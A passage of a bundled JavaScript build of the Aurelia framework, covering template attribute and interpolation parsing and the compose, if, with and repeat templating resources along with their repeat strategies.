TemplatingBindingLanguage.prototype.inspectAttribute = function inspectAttribute(resources, elementName, attrName, attrValue) {
var parts = attrName.split('.');
info.defaultBindingMode = null;
if (parts.length === 2) {
info.attrName = parts[0].trim();
info.attrValue = attrValue;
info.command = parts[1].trim();
if (info.command === 'ref') {
info.expression = new _aureliaBinding.NameExpression(this.parser.parse(attrValue), info.attrName, resources.lookupFunctions);
info.command = null;
info.attrName = 'ref';
} else {
info.expression = null;
}
} else if (attrName === 'ref') {
info.attrName = attrName;
info.attrValue = attrValue;
info.command = null;
info.expression = new _aureliaBinding.NameExpression(this.parser.parse(attrValue), 'element', resources.lookupFunctions);
} else {
info.attrName = attrName;
info.attrValue = attrValue;
info.command = null;
var interpolationParts = this.parseInterpolation(resources, attrValue);
if (interpolationParts === null) {
info.expression = null;
} else {
info.expression = new InterpolationBindingExpression(this.observerLocator, this.attributeMap.map(elementName, attrName), interpolationParts, _aureliaBinding.bindingMode.oneWay, resources.lookupFunctions, attrName);
}
}
return info;
};
TemplatingBindingLanguage.prototype.createAttributeInstruction = function createAttributeInstruction(resources, element, theInfo, existingInstruction, context) {
var instruction = void 0;
if (theInfo.expression) {
if (theInfo.attrName === 'ref') {
return theInfo.expression;
}
instruction = existingInstruction || _aureliaTemplating.BehaviorInstruction.attribute(theInfo.attrName);
instruction.attributes[theInfo.attrName] = theInfo.expression;
} else if (theInfo.command) {
instruction = this.syntaxInterpreter.interpret(resources, element, theInfo, existingInstruction, context);
}
return instruction;
};
TemplatingBindingLanguage.prototype.inspectTextContent = function inspectTextContent(resources, value) {
var parts = this.parseInterpolation(resources, value);
if (parts === null) {
return null;
}
return new InterpolationBindingExpression(this.observerLocator, 'textContent', parts, _aureliaBinding.bindingMode.oneWay, resources.lookupFunctions, 'textContent');
};
TemplatingBindingLanguage.prototype.parseInterpolation = function parseInterpolation(resources, value) {
var i = value.indexOf('${', 0);
var ii = value.length;
var char = void 0;
var pos = 0;
var open = 0;
var quote = null;
var interpolationStart = void 0;
var parts = void 0;
var partIndex = 0;
while (i >= 0 && i < ii - 2) {
open = 1;
interpolationStart = i;
i += 2;
do {
char = value[i];
i++;
if (char === "'" || char === '"') {
if (quote === null) {
quote = char;
} else if (quote === char) {
quote = null;
}
continue;
}
if (char === '\\') {
i++;
continue;
}
if (quote !== null) {
continue;
}
if (char === '{') {
open++;
} else if (char === '}') {
open--;
}
} while (open > 0 && i < ii);
if (open === 0) {
parts = parts || [];
if (value[interpolationStart - 1] === '\\' && value[interpolationStart - 2] !== '\\') {
parts[partIndex] = value.substring(pos, interpolationStart - 1) + value.substring(interpolationStart, i);
partIndex++;
parts[partIndex] = this.emptyStringExpression;
partIndex++;
} else {
parts[partIndex] = value.substring(pos, interpolationStart);
partIndex++;
parts[partIndex] = this.parser.parse(value.substring(interpolationStart + 2, i - 1));
partIndex++;
}
pos = i;
i = value.indexOf('${', i);
} else {
break;
}
}
if (partIndex === 0) {
return null;
}
parts[partIndex] = value.substr(pos);
return parts;
};
return TemplatingBindingLanguage;
}(_aureliaTemplating.BindingLanguage), _class4.inject = [_aureliaBinding.Parser, _aureliaBinding.ObserverLocator, SyntaxInterpreter, AttributeMap], _temp3);
function configure(config) {
config.container.registerSingleton(_aureliaTemplating.BindingLanguage, TemplatingBindingLanguage);
config.container.registerAlias(_aureliaTemplating.BindingLanguage, TemplatingBindingLanguage);
}
});
define('text',{});
define('aurelia-templating-resources/aurelia-templating-resources',['exports', 'aurelia-pal', './compose', './if', './with', './repeat', './show', './hide', './sanitize-html', './replaceable', './focus', 'aurelia-templating', './css-resource', './html-sanitizer', './attr-binding-behavior', './binding-mode-behaviors', './throttle-binding-behavior', './debounce-binding-behavior', './self-binding-behavior', './signal-binding-behavior', './binding-signaler', './update-trigger-binding-behavior', './abstract-repeater', './repeat-strategy-locator', './html-resource-plugin', './null-repeat-strategy', './array-repeat-strategy', './map-repeat-strategy', './set-repeat-strategy', './number-repeat-strategy', './repeat-utilities', './analyze-view-factory', './aurelia-hide-style'], function (exports, _aureliaPal, _compose, _if, _with, _repeat, _show, _hide, _sanitizeHtml, _replaceable, _focus, _aureliaTemplating, _cssResource, _htmlSanitizer, _attrBindingBehavior, _bindingModeBehaviors, _throttleBindingBehavior, _debounceBindingBehavior, _selfBindingBehavior, _signalBindingBehavior, _bindingSignaler, _updateTriggerBindingBehavior, _abstractRepeater, _repeatStrategyLocator, _htmlResourcePlugin, _nullRepeatStrategy, _arrayRepeatStrategy, _mapRepeatStrategy, _setRepeatStrategy, _numberRepeatStrategy, _repeatUtilities, _analyzeViewFactory, _aureliaHideStyle) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.viewsRequireLifecycle = exports.unwrapExpression = exports.updateOneTimeBinding = exports.isOneTime = exports.getItemsSourceExpression = exports.updateOverrideContext = exports.createFullOverrideContext = exports.NumberRepeatStrategy = exports.SetRepeatStrategy = exports.MapRepeatStrategy = exports.ArrayRepeatStrategy = exports.NullRepeatStrategy = exports.RepeatStrategyLocator = exports.AbstractRepeater = exports.UpdateTriggerBindingBehavior = exports.BindingSignaler = exports.SignalBindingBehavior = exports.SelfBindingBehavior = exports.DebounceBindingBehavior = exports.ThrottleBindingBehavior = exports.TwoWayBindingBehavior = exports.OneWayBindingBehavior = exports.OneTimeBindingBehavior = exports.AttrBindingBehavior = exports.configure = exports.Focus = exports.Replaceable = exports.SanitizeHTMLValueConverter = exports.HTMLSanitizer = exports.Hide = exports.Show = exports.Repeat = exports.With = exports.If = exports.Compose = undefined;
function configure(config) {
(0, _aureliaHideStyle.injectAureliaHideStyleAtHead)();
config.globalResources(_aureliaPal.PLATFORM.moduleName('./compose'), _aureliaPal.PLATFORM.moduleName('./if'), _aureliaPal.PLATFORM.moduleName('./with'), _aureliaPal.PLATFORM.moduleName('./repeat'), _aureliaPal.PLATFORM.moduleName('./show'), _aureliaPal.PLATFORM.moduleName('./hide'), _aureliaPal.PLATFORM.moduleName('./replaceable'), _aureliaPal.PLATFORM.moduleName('./sanitize-html'), _aureliaPal.PLATFORM.moduleName('./focus'), _aureliaPal.PLATFORM.moduleName('./binding-mode-behaviors'), _aureliaPal.PLATFORM.moduleName('./self-binding-behavior'), _aureliaPal.PLATFORM.moduleName('./throttle-binding-behavior'), _aureliaPal.PLATFORM.moduleName('./debounce-binding-behavior'), _aureliaPal.PLATFORM.moduleName('./signal-binding-behavior'), _aureliaPal.PLATFORM.moduleName('./update-trigger-binding-behavior'), _aureliaPal.PLATFORM.moduleName('./attr-binding-behavior'));
(0, _htmlResourcePlugin.configure)(config);
var viewEngine = config.container.get(_aureliaTemplating.ViewEngine);
var styleResourcePlugin = {
fetch: function fetch(address) {
var _ref;
return _ref = {}, _ref[address] = (0, _cssResource._createCSSResource)(address), _ref;
}
};
['.css', '.less', '.sass', '.scss', '.styl'].forEach(function (ext) {
return viewEngine.addResourcePlugin(ext, styleResourcePlugin);
});
}
exports.Compose = _compose.Compose;
exports.If = _if.If;
exports.With = _with.With;
exports.Repeat = _repeat.Repeat;
exports.Show = _show.Show;
exports.Hide = _hide.Hide;
exports.HTMLSanitizer = _htmlSanitizer.HTMLSanitizer;
exports.SanitizeHTMLValueConverter = _sanitizeHtml.SanitizeHTMLValueConverter;
exports.Replaceable = _replaceable.Replaceable;
exports.Focus = _focus.Focus;
exports.configure = configure;
exports.AttrBindingBehavior = _attrBindingBehavior.AttrBindingBehavior;
exports.OneTimeBindingBehavior = _bindingModeBehaviors.OneTimeBindingBehavior;
exports.OneWayBindingBehavior = _bindingModeBehaviors.OneWayBindingBehavior;
exports.TwoWayBindingBehavior = _bindingModeBehaviors.TwoWayBindingBehavior;
exports.ThrottleBindingBehavior = _throttleBindingBehavior.ThrottleBindingBehavior;
exports.DebounceBindingBehavior = _debounceBindingBehavior.DebounceBindingBehavior;
exports.SelfBindingBehavior = _selfBindingBehavior.SelfBindingBehavior;
exports.SignalBindingBehavior = _signalBindingBehavior.SignalBindingBehavior;
exports.BindingSignaler = _bindingSignaler.BindingSignaler;
exports.UpdateTriggerBindingBehavior = _updateTriggerBindingBehavior.UpdateTriggerBindingBehavior;
exports.AbstractRepeater = _abstractRepeater.AbstractRepeater;
exports.RepeatStrategyLocator = _repeatStrategyLocator.RepeatStrategyLocator;
exports.NullRepeatStrategy = _nullRepeatStrategy.NullRepeatStrategy;
exports.ArrayRepeatStrategy = _arrayRepeatStrategy.ArrayRepeatStrategy;
exports.MapRepeatStrategy = _mapRepeatStrategy.MapRepeatStrategy;
exports.SetRepeatStrategy = _setRepeatStrategy.SetRepeatStrategy;
exports.NumberRepeatStrategy = _numberRepeatStrategy.NumberRepeatStrategy;
exports.createFullOverrideContext = _repeatUtilities.createFullOverrideContext;
exports.updateOverrideContext = _repeatUtilities.updateOverrideContext;
exports.getItemsSourceExpression = _repeatUtilities.getItemsSourceExpression;
exports.isOneTime = _repeatUtilities.isOneTime;
exports.updateOneTimeBinding = _repeatUtilities.updateOneTimeBinding;
exports.unwrapExpression = _repeatUtilities.unwrapExpression;
exports.viewsRequireLifecycle = _analyzeViewFactory.viewsRequireLifecycle;
});;define('aurelia-templating-resources', ['aurelia-templating-resources/aurelia-templating-resources'], function (main) { return main; });
define('aurelia-templating-resources/compose',['exports', 'aurelia-dependency-injection', 'aurelia-task-queue', 'aurelia-templating', 'aurelia-pal'], function (exports, _aureliaDependencyInjection, _aureliaTaskQueue, _aureliaTemplating, _aureliaPal) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.Compose = undefined;
function _initDefineProp(target, property, descriptor, context) {
if (!descriptor) return;
Object.defineProperty(target, property, {
enumerable: descriptor.enumerable,
configurable: descriptor.configurable,
writable: descriptor.writable,
value: descriptor.initializer ? descriptor.initializer.call(context) : void 0
});
}
function _applyDecoratedDescriptor(target, property, decorators, descriptor, context) {
var desc = {};
Object['ke' + 'ys'](descriptor).forEach(function (key) {
desc[key] = descriptor[key];
});
desc.enumerable = !!desc.enumerable;
desc.configurable = !!desc.configurable;
if ('value' in desc || desc.initializer) {
desc.writable = true;
}
desc = decorators.slice().reverse().reduce(function (desc, decorator) {
return decorator(target, property, desc) || desc;
}, desc);
if (context && desc.initializer !== void 0) {
desc.value = desc.initializer ? desc.initializer.call(context) : void 0;
desc.initializer = undefined;
}
if (desc.initializer === void 0) {
Object['define' + 'Property'](target, property, desc);
desc = null;
}
return desc;
}
function _initializerWarningHelper(descriptor, context) {
throw new Error('Decorating class property failed. Please ensure that transform-class-properties is enabled.');
}
var _dec, _dec2, _class, _desc, _value, _class2, _descriptor, _descriptor2, _descriptor3, _descriptor4;
var Compose = exports.Compose = (_dec = (0, _aureliaTemplating.customElement)('compose'), _dec2 = (0, _aureliaDependencyInjection.inject)(_aureliaPal.DOM.Element, _aureliaDependencyInjection.Container, _aureliaTemplating.CompositionEngine, _aureliaTemplating.ViewSlot, _aureliaTemplating.ViewResources, _aureliaTaskQueue.TaskQueue), _dec(_class = (0, _aureliaTemplating.noView)(_class = _dec2(_class = (_class2 = function () {
function Compose(element, container, compositionEngine, viewSlot, viewResources, taskQueue) {
_initDefineProp(this, 'model', _descriptor, this);
_initDefineProp(this, 'view', _descriptor2, this);
_initDefineProp(this, 'viewModel', _descriptor3, this);
_initDefineProp(this, 'swapOrder', _descriptor4, this);
this.element = element;
this.container = container;
this.compositionEngine = compositionEngine;
this.viewSlot = viewSlot;
this.viewResources = viewResources;
this.taskQueue = taskQueue;
this.currentController = null;
this.currentViewModel = null;
}
Compose.prototype.created = function created(owningView) {
this.owningView = owningView;
};
Compose.prototype.bind = function bind(bindingContext, overrideContext) {
this.bindingContext = bindingContext;
this.overrideContext = overrideContext;
processInstruction(this, createInstruction(this, {
view: this.view,
viewModel: this.viewModel,
model: this.model
}));
};
Compose.prototype.unbind = function unbind(bindingContext, overrideContext) {
this.bindingContext = null;
this.overrideContext = null;
var returnToCache = true;
var skipAnimation = true;
this.viewSlot.removeAll(returnToCache, skipAnimation);
};
Compose.prototype.modelChanged = function modelChanged(newValue, oldValue) {
var _this = this;
if (this.currentInstruction) {
this.currentInstruction.model = newValue;
return;
}
this.taskQueue.queueMicroTask(function () {
if (_this.currentInstruction) {
_this.currentInstruction.model = newValue;
return;
}
var vm = _this.currentViewModel;
if (vm && typeof vm.activate === 'function') {
vm.activate(newValue);
}
});
};
Compose.prototype.viewChanged = function viewChanged(newValue, oldValue) {
var _this2 = this;
var instruction = createInstruction(this, {
view: newValue,
viewModel: this.currentViewModel || this.viewModel,
model: this.model
});
if (this.currentInstruction) {
this.currentInstruction = instruction;
return;
}
this.currentInstruction = instruction;
this.taskQueue.queueMicroTask(function () {
return processInstruction(_this2, _this2.currentInstruction);
});
};
Compose.prototype.viewModelChanged = function viewModelChanged(newValue, oldValue) {
var _this3 = this;
var instruction = createInstruction(this, {
viewModel: newValue,
view: this.view,
model: this.model
});
if (this.currentInstruction) {
this.currentInstruction = instruction;
return;
}
this.currentInstruction = instruction;
this.taskQueue.queueMicroTask(function () {
return processInstruction(_this3, _this3.currentInstruction);
});
};
return Compose;
}(), (_descriptor = _applyDecoratedDescriptor(_class2.prototype, 'model', [_aureliaTemplating.bindable], {
enumerable: true,
initializer: null
}), _descriptor2 = _applyDecoratedDescriptor(_class2.prototype, 'view', [_aureliaTemplating.bindable], {
enumerable: true,
initializer: null
}), _descriptor3 = _applyDecoratedDescriptor(_class2.prototype, 'viewModel', [_aureliaTemplating.bindable], {
enumerable: true,
initializer: null
}), _descriptor4 = _applyDecoratedDescriptor(_class2.prototype, 'swapOrder', [_aureliaTemplating.bindable], {
enumerable: true,
initializer: null
})), _class2)) || _class) || _class) || _class);
function createInstruction(composer, instruction) {
return Object.assign(instruction, {
bindingContext: composer.bindingContext,
overrideContext: composer.overrideContext,
owningView: composer.owningView,
container: composer.container,
viewSlot: composer.viewSlot,
viewResources: composer.viewResources,
currentController: composer.currentController,
host: composer.element,
swapOrder: composer.swapOrder
});
}
function processInstruction(composer, instruction) {
composer.currentInstruction = null;
composer.compositionEngine.compose(instruction).then(function (controller) {
composer.currentController = controller;
composer.currentViewModel = controller ? controller.viewModel : null;
});
}
});
define('aurelia-templating-resources/if',['exports', 'aurelia-templating', 'aurelia-dependency-injection'], function (exports, _aureliaTemplating, _aureliaDependencyInjection) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.If = undefined;
var _dec, _dec2, _class;
var If = exports.If = (_dec = (0, _aureliaTemplating.customAttribute)('if'), _dec2 = (0, _aureliaDependencyInjection.inject)(_aureliaTemplating.BoundViewFactory, _aureliaTemplating.ViewSlot), _dec(_class = (0, _aureliaTemplating.templateController)(_class = _dec2(_class = function () {
function If(viewFactory, viewSlot) {
this.viewFactory = viewFactory;
this.viewSlot = viewSlot;
this.showing = false;
this.view = null;
this.bindingContext = null;
this.overrideContext = null;
}
If.prototype.bind = function bind(bindingContext, overrideContext) {
this.bindingContext = bindingContext;
this.overrideContext = overrideContext;
this.valueChanged(this.value);
};
If.prototype.valueChanged = function valueChanged(newValue) {
var _this = this;
if (this.__queuedChanges) {
this.__queuedChanges.push(newValue);
return;
}
var maybePromise = this._runValueChanged(newValue);
if (maybePromise instanceof Promise) {
(function () {
var queuedChanges = _this.__queuedChanges = [];
var runQueuedChanges = function runQueuedChanges() {
if (!queuedChanges.length) {
_this.__queuedChanges = undefined;
return;
}
var nextPromise = _this._runValueChanged(queuedChanges.shift()) || Promise.resolve();
nextPromise.then(runQueuedChanges);
};
maybePromise.then(runQueuedChanges);
})();
}
};
If.prototype._runValueChanged = function _runValueChanged(newValue) {
var _this2 = this;
if (!newValue) {
var viewOrPromise = void 0;
if (this.view !== null && this.showing) {
viewOrPromise = this.viewSlot.remove(this.view);
if (viewOrPromise instanceof Promise) {
viewOrPromise.then(function () {
return _this2.view.unbind();
});
} else {
this.view.unbind();
}
}
this.showing = false;
return viewOrPromise;
}
if (this.view === null) {
this.view = this.viewFactory.create();
}
if (!this.view.isBound) {
this.view.bind(this.bindingContext, this.overrideContext);
}
if (!this.showing) {
this.showing = true;
return this.viewSlot.add(this.view);
}
return undefined;
};
If.prototype.unbind = function unbind() {
if (this.view === null) {
return;
}
this.view.unbind();
if (!this.viewFactory.isCaching) {
return;
}
if (this.showing) {
this.showing = false;
this.viewSlot.remove(this.view, true, true);
}
this.view.returnToCache();
this.view = null;
};
return If;
}()) || _class) || _class) || _class);
});
define('aurelia-templating-resources/with',['exports', 'aurelia-dependency-injection', 'aurelia-templating', 'aurelia-binding'], function (exports, _aureliaDependencyInjection, _aureliaTemplating, _aureliaBinding) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.With = undefined;
var _dec, _dec2, _class;
var With = exports.With = (_dec = (0, _aureliaTemplating.customAttribute)('with'), _dec2 = (0, _aureliaDependencyInjection.inject)(_aureliaTemplating.BoundViewFactory, _aureliaTemplating.ViewSlot), _dec(_class = (0, _aureliaTemplating.templateController)(_class = _dec2(_class = function () {
function With(viewFactory, viewSlot) {
this.viewFactory = viewFactory;
this.viewSlot = viewSlot;
this.parentOverrideContext = null;
this.view = null;
}
With.prototype.bind = function bind(bindingContext, overrideContext) {
this.parentOverrideContext = overrideContext;
this.valueChanged(this.value);
};
With.prototype.valueChanged = function valueChanged(newValue) {
var overrideContext = (0, _aureliaBinding.createOverrideContext)(newValue, this.parentOverrideContext);
if (!this.view) {
this.view = this.viewFactory.create();
this.view.bind(newValue, overrideContext);
this.viewSlot.add(this.view);
} else {
this.view.bind(newValue, overrideContext);
}
};
With.prototype.unbind = function unbind() {
this.parentOverrideContext = null;
if (this.view) {
this.view.unbind();
}
};
return With;
}()) || _class) || _class) || _class);
});
define('aurelia-templating-resources/repeat',['exports', 'aurelia-dependency-injection', 'aurelia-binding', 'aurelia-templating', './repeat-strategy-locator', './repeat-utilities', './analyze-view-factory', './abstract-repeater'], function (exports, _aureliaDependencyInjection, _aureliaBinding, _aureliaTemplating, _repeatStrategyLocator, _repeatUtilities, _analyzeViewFactory, _abstractRepeater) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.Repeat = undefined;
function _initDefineProp(target, property, descriptor, context) {
if (!descriptor) return;
Object.defineProperty(target, property, {
enumerable: descriptor.enumerable,
configurable: descriptor.configurable,
writable: descriptor.writable,
value: descriptor.initializer ? descriptor.initializer.call(context) : void 0
});
}
function _possibleConstructorReturn(self, call) {
if (!self) {
throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
}
return call && (typeof call === "object" || typeof call === "function") ? call : self;
}
function _inherits(subClass, superClass) {
if (typeof superClass !== "function" && superClass !== null) {
throw new TypeError("Super expression must either be null or a function, not " + typeof superClass);
}
subClass.prototype = Object.create(superClass && superClass.prototype, {
constructor: {
value: subClass,
enumerable: false,
writable: true,
configurable: true
}
});
if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;
}
function _applyDecoratedDescriptor(target, property, decorators, descriptor, context) {
var desc = {};
Object['ke' + 'ys'](descriptor).forEach(function (key) {
desc[key] = descriptor[key];
});
desc.enumerable = !!desc.enumerable;
desc.configurable = !!desc.configurable;
if ('value' in desc || desc.initializer) {
desc.writable = true;
}
desc = decorators.slice().reverse().reduce(function (desc, decorator) {
return decorator(target, property, desc) || desc;
}, desc);
if (context && desc.initializer !== void 0) {
desc.value = desc.initializer ? desc.initializer.call(context) : void 0;
desc.initializer = undefined;
}
if (desc.initializer === void 0) {
Object['define' + 'Property'](target, property, desc);
desc = null;
}
return desc;
}
function _initializerWarningHelper(descriptor, context) {
throw new Error('Decorating class property failed. Please ensure that transform-class-properties is enabled.');
}
var _dec, _dec2, _class, _desc, _value, _class2, _descriptor, _descriptor2, _descriptor3, _descriptor4;
var Repeat = exports.Repeat = (_dec = (0, _aureliaTemplating.customAttribute)('repeat'), _dec2 = (0, _aureliaDependencyInjection.inject)(_aureliaTemplating.BoundViewFactory, _aureliaTemplating.TargetInstruction, _aureliaTemplating.ViewSlot, _aureliaTemplating.ViewResources, _aureliaBinding.ObserverLocator, _repeatStrategyLocator.RepeatStrategyLocator), _dec(_class = (0, _aureliaTemplating.templateController)(_class = _dec2(_class = (_class2 = function (_AbstractRepeater) {
_inherits(Repeat, _AbstractRepeater);
function Repeat(viewFactory, instruction, viewSlot, viewResources, observerLocator, strategyLocator) {
var _this = _possibleConstructorReturn(this, _AbstractRepeater.call(this, {
local: 'item',
viewsRequireLifecycle: (0, _analyzeViewFactory.viewsRequireLifecycle)(viewFactory)
}));
_initDefineProp(_this, 'items', _descriptor, _this);
_initDefineProp(_this, 'local', _descriptor2, _this);
_initDefineProp(_this, 'key', _descriptor3, _this);
_initDefineProp(_this, 'value', _descriptor4, _this);
_this.viewFactory = viewFactory;
_this.instruction = instruction;
_this.viewSlot = viewSlot;
_this.lookupFunctions = viewResources.lookupFunctions;
_this.observerLocator = observerLocator;
_this.key = 'key';
_this.value = 'value';
_this.strategyLocator = strategyLocator;
_this.ignoreMutation = false;
_this.sourceExpression = (0, _repeatUtilities.getItemsSourceExpression)(_this.instruction, 'repeat.for');
_this.isOneTime = (0, _repeatUtilities.isOneTime)(_this.sourceExpression);
_this.viewsRequireLifecycle = (0, _analyzeViewFactory.viewsRequireLifecycle)(viewFactory);
return _this;
}
Repeat.prototype.call = function call(context, changes) {
this[context](this.items, changes);
};
Repeat.prototype.bind = function bind(bindingContext, overrideContext) {
this.scope = { bindingContext: bindingContext, overrideContext: overrideContext };
this.matcherBinding = this._captureAndRemoveMatcherBinding();
this.itemsChanged();
};
Repeat.prototype.unbind = function unbind() {
this.scope = null;
this.items = null;
this.matcherBinding = null;
this.viewSlot.removeAll(true);
this._unsubscribeCollection();
};
Repeat.prototype._unsubscribeCollection = function _unsubscribeCollection() {
if (this.collectionObserver) {
this.collectionObserver.unsubscribe(this.callContext, this);
this.collectionObserver = null;
this.callContext = null;
}
};
Repeat.prototype.itemsChanged = function itemsChanged() {
this._unsubscribeCollection();
if (!this.scope) {
return;
}
var items = this.items;
this.strategy = this.strategyLocator.getStrategy(items);
if (!this.strategy) {
throw new Error('Value for \'' + this.sourceExpression + '\' is non-repeatable');
}
if (!this.isOneTime && !this._observeInnerCollection()) {
this._observeCollection();
}
this.strategy.instanceChanged(this, items);
};
Repeat.prototype._getInnerCollection = function _getInnerCollection() {
var expression = (0, _repeatUtilities.unwrapExpression)(this.sourceExpression);
if (!expression) {
return null;
}
return expression.evaluate(this.scope, null);
};
Repeat.prototype.handleCollectionMutated = function handleCollectionMutated(collection, changes) {
if (!this.collectionObserver) {
return;
}
this.strategy.instanceMutated(this, collection, changes);
};
Repeat.prototype.handleInnerCollectionMutated = function handleInnerCollectionMutated(collection, changes) {
var _this2 = this;
if (!this.collectionObserver) {
return;
}
if (this.ignoreMutation) {
return;
}
this.ignoreMutation = true;
var newItems = this.sourceExpression.evaluate(this.scope, this.lookupFunctions);
this.observerLocator.taskQueue.queueMicroTask(function () {
return _this2.ignoreMutation = false;
});
if (newItems === this.items) {
this.itemsChanged();
} else {
this.items = newItems;
}
};
Repeat.prototype._observeInnerCollection = function _observeInnerCollection() {
var items = this._getInnerCollection();
var strategy = this.strategyLocator.getStrategy(items);
if (!strategy) {
return false;
}
this.collectionObserver = strategy.getCollectionObserver(this.observerLocator, items);
if (!this.collectionObserver) {
return false;
}
this.callContext = 'handleInnerCollectionMutated';
this.collectionObserver.subscribe(this.callContext, this);
return true;
};
Repeat.prototype._observeCollection = function _observeCollection() {
var items = this.items;
this.collectionObserver = this.strategy.getCollectionObserver(this.observerLocator, items);
if (this.collectionObserver) {
this.callContext = 'handleCollectionMutated';
this.collectionObserver.subscribe(this.callContext, this);
}
};
Repeat.prototype._captureAndRemoveMatcherBinding = function _captureAndRemoveMatcherBinding() {
if (this.viewFactory.viewFactory) {
var instructions = this.viewFactory.viewFactory.instructions;
var instructionIds = Object.keys(instructions);
for (var i = 0; i < instructionIds.length; i++) {
var expressions = instructions[instructionIds[i]].expressions;
if (expressions) {
for (var ii = 0; i < expressions.length; i++) {
if (expressions[ii].targetProperty === 'matcher') {
var matcherBinding = expressions[ii];
expressions.splice(ii, 1);
return matcherBinding;
}
}
}
}
}
return undefined;
};
Repeat.prototype.viewCount = function viewCount() {
return this.viewSlot.children.length;
};
Repeat.prototype.views = function views() {
return this.viewSlot.children;
};
Repeat.prototype.view = function view(index) {
return this.viewSlot.children[index];
};
Repeat.prototype.matcher = function matcher() {
return this.matcherBinding ? this.matcherBinding.sourceExpression.evaluate(this.scope, this.matcherBinding.lookupFunctions) : null;
};
Repeat.prototype.addView = function addView(bindingContext, overrideContext) {
var view = this.viewFactory.create();
view.bind(bindingContext, overrideContext);
this.viewSlot.add(view);
};
Repeat.prototype.insertView = function insertView(index, bindingContext, overrideContext) {
var view = this.viewFactory.create();
view.bind(bindingContext, overrideContext);
this.viewSlot.insert(index, view);
};
Repeat.prototype.moveView = function moveView(sourceIndex, targetIndex) {
this.viewSlot.move(sourceIndex, targetIndex);
};
Repeat.prototype.removeAllViews = function removeAllViews(returnToCache, skipAnimation) {
return this.viewSlot.removeAll(returnToCache, skipAnimation);
};
Repeat.prototype.removeViews = function removeViews(viewsToRemove, returnToCache, skipAnimation) {
return this.viewSlot.removeMany(viewsToRemove, returnToCache, skipAnimation);
};
Repeat.prototype.removeView = function removeView(index, returnToCache, skipAnimation) {
return this.viewSlot.removeAt(index, returnToCache, skipAnimation);
};
Repeat.prototype.updateBindings = function updateBindings(view) {
var j = view.bindings.length;
while (j--) {
(0, _repeatUtilities.updateOneTimeBinding)(view.bindings[j]);
}
j = view.controllers.length;
while (j--) {
var k = view.controllers[j].boundProperties.length;
while (k--) {
var binding = view.controllers[j].boundProperties[k].binding;
(0, _repeatUtilities.updateOneTimeBinding)(binding);
}
}
};
return Repeat;
}(_abstractRepeater.AbstractRepeater), (_descriptor = _applyDecoratedDescriptor(_class2.prototype, 'items', [_aureliaTemplating.bindable], {
enumerable: true,
initializer: null
}), _descriptor2 = _applyDecoratedDescriptor(_class2.prototype, 'local', [_aureliaTemplating.bindable], {
enumerable: true,
initializer: null
}), _descriptor3 = _applyDecoratedDescriptor(_class2.prototype, 'key', [_aureliaTemplating.bindable], {
enumerable: true,
initializer: null
}), _descriptor4 = _applyDecoratedDescriptor(_class2.prototype, 'value', [_aureliaTemplating.bindable], {
enumerable: true,
initializer: null
})), _class2)) || _class) || _class) || _class);
});
define('aurelia-templating-resources/repeat-strategy-locator',['exports', './null-repeat-strategy', './array-repeat-strategy', './map-repeat-strategy', './set-repeat-strategy', './number-repeat-strategy'], function (exports, _nullRepeatStrategy, _arrayRepeatStrategy, _mapRepeatStrategy, _setRepeatStrategy, _numberRepeatStrategy) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.RepeatStrategyLocator = undefined;
var RepeatStrategyLocator = exports.RepeatStrategyLocator = function () {
function RepeatStrategyLocator() {
this.matchers = [];
this.strategies = [];
this.addStrategy(function (items) {
return items === null || items === undefined;
}, new _nullRepeatStrategy.NullRepeatStrategy());
this.addStrategy(function (items) {
return items instanceof Array;
}, new _arrayRepeatStrategy.ArrayRepeatStrategy());
this.addStrategy(function (items) {
return items instanceof Map;
}, new _mapRepeatStrategy.MapRepeatStrategy());
this.addStrategy(function (items) {
return items instanceof Set;
}, new _setRepeatStrategy.SetRepeatStrategy());
this.addStrategy(function (items) {
return typeof items === 'number';
}, new _numberRepeatStrategy.NumberRepeatStrategy());
}
RepeatStrategyLocator.prototype.addStrategy = function addStrategy(matcher, strategy) {
this.matchers.push(matcher);
this.strategies.push(strategy);
};
RepeatStrategyLocator.prototype.getStrategy = function getStrategy(items) {
var matchers = this.matchers;
for (var i = 0, ii = matchers.length; i < ii; ++i) {
if (matchers[i](items)) {
return this.strategies[i];
}
}
return null;
};
return RepeatStrategyLocator;
}();
});
define('aurelia-templating-resources/null-repeat-strategy',["exports"], function (exports) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var NullRepeatStrategy = exports.NullRepeatStrategy = function () {
function NullRepeatStrategy() {
}
NullRepeatStrategy.prototype.instanceChanged = function instanceChanged(repeat, items) {
repeat.removeAllViews(true);
};
NullRepeatStrategy.prototype.getCollectionObserver = function getCollectionObserver(observerLocator, items) {};
return NullRepeatStrategy;
}();
});
define('aurelia-templating-resources/array-repeat-strategy',['exports', './repeat-utilities', 'aurelia-binding'], function (exports, _repeatUtilities, _aureliaBinding) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.ArrayRepeatStrategy = undefined;
var ArrayRepeatStrategy = exports.ArrayRepeatStrategy = function () {
function ArrayRepeatStrategy() {
}
ArrayRepeatStrategy.prototype.getCollectionObserver = function getCollectionObserver(observerLocator, items) {
return observerLocator.getArrayObserver(items);
};
ArrayRepeatStrategy.prototype.instanceChanged = function instanceChanged(repeat, items) {
var _this = this;
var itemsLength = items.length;
if (!items || itemsLength === 0) {
repeat.removeAllViews(true, !repeat.viewsRequireLifecycle);
return;
}
var children = repeat.views();
var viewsLength = children.length;
if (viewsLength === 0) {
this._standardProcessInstanceChanged(repeat, items);
return;
}
if (repeat.viewsRequireLifecycle) {
(function () {
var childrenSnapshot = children.slice(0);
var itemNameInBindingContext = repeat.local;
var matcher = repeat.matcher();
var itemsPreviouslyInViews = [];
var viewsToRemove = [];
for (var index = 0; index < viewsLength; index++) {
var view = childrenSnapshot[index];
var oldItem = view.bindingContext[itemNameInBindingContext];
if ((0, _repeatUtilities.indexOf)(items, oldItem, matcher) === -1) {
viewsToRemove.push(view);
} else {
itemsPreviouslyInViews.push(oldItem);
}
}
var updateViews = void 0;
var removePromise = void 0;
if (itemsPreviouslyInViews.length > 0) {
